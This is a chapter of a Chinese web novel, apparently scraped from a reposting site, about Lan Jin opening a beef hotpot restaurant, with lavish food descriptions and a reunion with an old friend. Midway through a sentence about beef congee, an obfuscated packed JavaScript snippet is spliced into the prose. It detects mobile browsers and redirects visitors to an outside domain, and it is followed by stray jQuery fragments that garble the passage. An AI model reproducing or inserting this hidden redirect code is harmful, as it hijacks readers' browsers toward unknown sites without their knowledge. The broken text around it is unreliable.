“客官，里面请！”


    “清汤锅五位，客人，这边有小料台！”


    “有沙茶酱，普宁豆酱，芝麻碎，辣酱，蒜蓉，辣椒，酱油，香菜，葱花，您想自己调，还是让我来帮您？”


    蓝锦包着头巾，笑盈盈地守在蓝记牛肉火锅的大堂。


    之前跟萧仁禹一起下乡，见着自家徒孙桌子，晒得黑炭一般。蓝锦险些没认出人。


    可他办的养牛场倒是红火。


    于是，新溪坊的蓝记敲锣打鼓地开了张。前头开店，后头养牛。


    中间隔了一片曲水流觞的中庭。浓荫蔽日，清香宜人。


    伙计脚程飞快，刚宰杀的鲜红牛肉，流水一般地运往前头厨房。


    十好几位厨子一字排开，手起刀落。案板上的牛肉如雪花般“唰刷”坠落，令人眼花缭乱。


    如是，一盘盘新鲜的手切牛肉端上客人的餐桌。


    肥美白嫩的肌间脂肪，亮津津的。鲜红的肌肉还在颤颤地弹跳。


    蓝锦把袖子拢起，人利索，手也麻利。


    左手拿着一个大笊篱，右手拿一双长筷子，正在现场教大家如何吃牛肉火锅。


    时下的天都人，还没有精细到吃牛羊要分部位。


    也就是蓝记，开了大众食店的饮食先河。


    “我家用的是鲜肉，讲究文火涮肉，用那小火，不要叫它沸腾。”


    “涮的时候，三上三下。一吊去血水，二吊去酸气，三吊软肌理。”


    只见长筷子一搅，薄如蝉翼的鲜红牛肉片，一经汆烫，变得艳红发褐。


    蓝锦拎起满笊篱的肉，霎那间被满桌的筷子一抢而空。


    “我们蓝记继承了一位丁姓大厨的遗志，把牛身分解，部位分开。”


    “您看桌上的分剖图，墙上也有面大的。”


    果然，一只空心牛，叫画笔大卸八块。


    白底红线，各个写上了不同的名字。


    匙仁、匙柄、吊龙、吊龙伴、嫩肉、牛舌、胸口朥、肥胼、三花趾、五花趾......


    叫人眼花缭乱，叹为观止。看不懂，但好像很好吃。


    “觉着不熟悉不打紧，您吃一次，就知其中趣味。”


    每个部位都写了涮煮时长：数十个数，数十五个数......


    一时之间，满店的人都念念有词。


    小秋的同窗们都来捧场。个个吃得满面红光。


    “这个吊龙，甜美滑嫩，爽口却不腻人！我最爱吃。”


    “我最爱花趾，涮成个小窝窝，嚼起来筋肉相间，脆，弹，嫩！”


    小秋率先道：“那是牛腱子最中心的部位，当然好吃！”


    蓝锦笑盈盈地接口：“是极。尤其这五条筋的五花趾，一头牛身上，拢共才出一斤多点，来晚了可就没了。”


    支着耳朵偷听的客人马上吆喝：“掌柜的！再来两份五花趾，香美了！”


    牛肉锅香飘十里。店里已经翻过一次台，排队的长龙还是到了店外。


    伙计们还在不遗余力地宣传：“我们蓝记牛肉火锅，选的都是三岁的母黄牛。”


    “肉质优中之优，顶适合涮锅子。公黄牛都只用来打肉丸子罢了！”


    锅子里的牛肉汤气味勾人馋虫，鼎沸的人声混杂着袅袅的热气。


    好容易落座的客人，都迫不及待来一整套“掌柜亲荐”的渐入佳境套餐。


    先涮牛肉丸或牛筋丸，抑或双拼。前者取其弹嫩，后者取其脆润。


    吃肉要先瘦后肥。首先吃涮牛嫩肉，再吃花趾。接着吃匙柄和匙仁，吊龙和吊龙伴。


    最后拿那肥胼和胸口朥，润口增香。这一顿吃下来，简直是无上的享受。


    客人无不酣畅淋漓，不住赞道：“小娘子巧思，别处吃不到这样的精细。”


    “这个沙茶酱，看着不起眼，谁知极鲜美！里头有海鲜味，还有葱头味，香得不得了。”


    “我刚才还想问是怎么做的，掌柜的不告诉我，哈哈！”


    “客官只要想吃，就来我这蓝记牛肉火锅店。把手一伸，美味就送到嘴边了。什么事也不费，多划算的买卖。”


    蓝锦把一碟子白花花的粿条往桌上一搁。


    粿条，也就是扁扁的河粉，大米磨粉制浆，蒸片切条


    吃完了牛肉，涮过了蔬菜。把粿条放进锅里，一涮一捞。


    放进料碗，裹了满满的沙茶酱、海鲜酱油、小米辣、小青桔汁，吃起来有一桩新奇的别致。


    爽滑弹香，带一点恰到好处的韧劲。


    又不是咬不断的那种。越嚼越想，米制品的香醇满溢唇舌。


    看一看满堂客人，一筷子一筷子不停往嘴里送的吃相，就知此物美味了。


    “客官，您留神！”


    伙计拎着一锅现卤的牛腩来到大堂，瞬间吸引了大伙的目光。


    肥美咸香，软烂发颤。


    一口下去，恨不得像没吃似的，全化在嘴里了。


    牛筋肥嘟嘟的，烂乎的像是一汪水。


    吸溜那么一下，荤香就沁满了嘴巴。每一根肉丝都浸满了香味复杂的卤汁。


    叫人忍不住发问，怎么刚吃一口就上瘾了？


    恨不得每天都能吃一坛子！


    旁边的大瓮里，盛的是牛肉干。


    这原是蓝锦自己的小爱好。关于牛肉干的种类，她来者不拒。


    含水量足的，软嫩肥美的，她喜欢。


    风干得厉害，嚼劲十足，余味悠长的，她也爱。


    麻辣的、五香的、孜然的、蜂蜜咸甜的......


    自此之后，天都悄悄刮起一阵风潮。


    上学堂的孩童，往往偷摸拿书遮面，自以为人不知鬼不觉，往口中塞蓝记牛肉干。


    不能吃辣，偏还买辣的。


    憋得小脸通红，额角冒出细汗，还有把嘴闭得紧紧的，生怕味道跑走一丝。


    这段后话，最终以蓝记和学堂合作，将牛肉干算作读书读得好的奖励，方才落幕。


    萧仁禹一如既往来到蓝记酒楼，倒是扑了个空。


    悟雅一惊一乍的：“我们娘子未曾说吗？今日新店开张。萧郎君要见娘子，该去新溪坊，怎么摸到这里来了。”


    悟雅冲她挤眉毛。端出一份师父做的牛肉粥，砂锅温着，中央窝了一个半生不熟的蛋。


    师父也真是的，一边躲着萧翰林，一边又怕他真的没得吃。


    滚烫的米粥，缀着牛肉末，漂着大片牛肉。


    熬出来的大米胶质，给牛肉上了一层滑嫩的浆。


    萧仁禹轻手轻脚搅拌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567357|171016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    蛋黄悄然融进牛肉粥，渐渐焖得熟透。香味也愈来愈浓，扑面而来。


    何时能融了锦娘的心，那就好了。


    粥不烫口，温暖鲜香。从嗓子到胃，一路都是熨帖的。


    还有一份生煎包，一份煎饺，倒是勾起他们曾在落霞村的记忆。


    只是生煎换成了全发面，更加暄软。馅也改了牛肉。


    个个发得像小拳头，两面都煎得油光发亮，起了焦褐的嘎巴。


    萧仁禹已经驾轻就熟，咬的时候要格外当心——不能一大口，把嘎巴全咬破。那就烫着了。


    须得先咬一个口子，吹上几口凉气，等那汤汁子不再冒着烫人热气——


    一口塞进嘴里。肉满汁浓，面香而暄，满足极了。


    牛肉煎饺更是由散装变整盘，底下还有漂亮的冰花。


    使淀粉水往底下一激，滋滋啦啦。再把锅往盘子上一倒，才有一整面雪花状的红褐脆壳。


    这明显是刚做好送过来的，那冰花还脆得发酥。吃起来带点恰到好处的咸味，使煎饺的油香更盛。


    想到此处，萧仁禹心下稍松。


    锦娘就是这样。什么一经她的手，都能点石成金。


    街头小食，也全然登得起大雅之堂。


    是潇洒自在，超脱世俗，又积极入世的女郎。他很钦佩。


    *


    蓝记火锅店再度引爆天都。吃美了的客人自顾自聊了起来。


    “蓝掌柜，城中也有仿你这牛肉锅子的！可是他们肉不够新鲜。”


    “我现在已经叫蓝记养刁了嘴。不是三岁母黄牛的肉，不是刚杀的还跳着动的肉，我都进不了嘴嘞。”


    “哎嗨，就算不为吃肉，蓝记的调料台也是旁处学不来的。”


    “有花椒、胡椒这样的贵价香料。还有芫菜、香芹末、香葱花，拾掇得利利索索的，全都任我们取用。”


    “蓝记的酱油也不是别处好比的，我反正是从未吃过，这种又鲜又醇厚的好味道。”


    “拿这个往我嘴里一倒，我都得把自己舌头吞下去！”


    蓝锦觉得好笑，又给每一桌夸夸的食客都送了一大盘生菜。


    “自家种的，旁处也吃不着这个味道。又香又甜又脆口，空口吃都好吃。”


    “果真如此，为这菜叶子，我也得日日来。”


    “锦娘！”


    一个熟悉的声音响起。


    蓝锦闻声扭头，但见一个鹅黄衫裙的俏丽女娘站在蓝记门口。


    “琴姐姐！”


    二人激动地拉住对方的手。


    “呜呜，琴姐姐，好久没见你了。”


    “锦娘长高了，脸色也更好看了。想是生活得不错，我就放心了。”


    “琴姐姐如何不来找我，之前去信，等了又等，却只收到了你早先的来信。我还以为琴姐姐不想理我了。”


    蓝锦怀着一种怕打扰对方生活的心情，只遥遥暗祝。


    “怎么会，我忙着药铺的事，恨不得生出八条臂膀。听闻你的酒楼红火，高兴还来不及。我在昭应的药铺也要来天都开分号了！”


    “真的？那太好了！近来天都周边闹匪患。琴姐姐此来，一路可平安？”


    “匪患？没有遇见，倒是碰上一队......”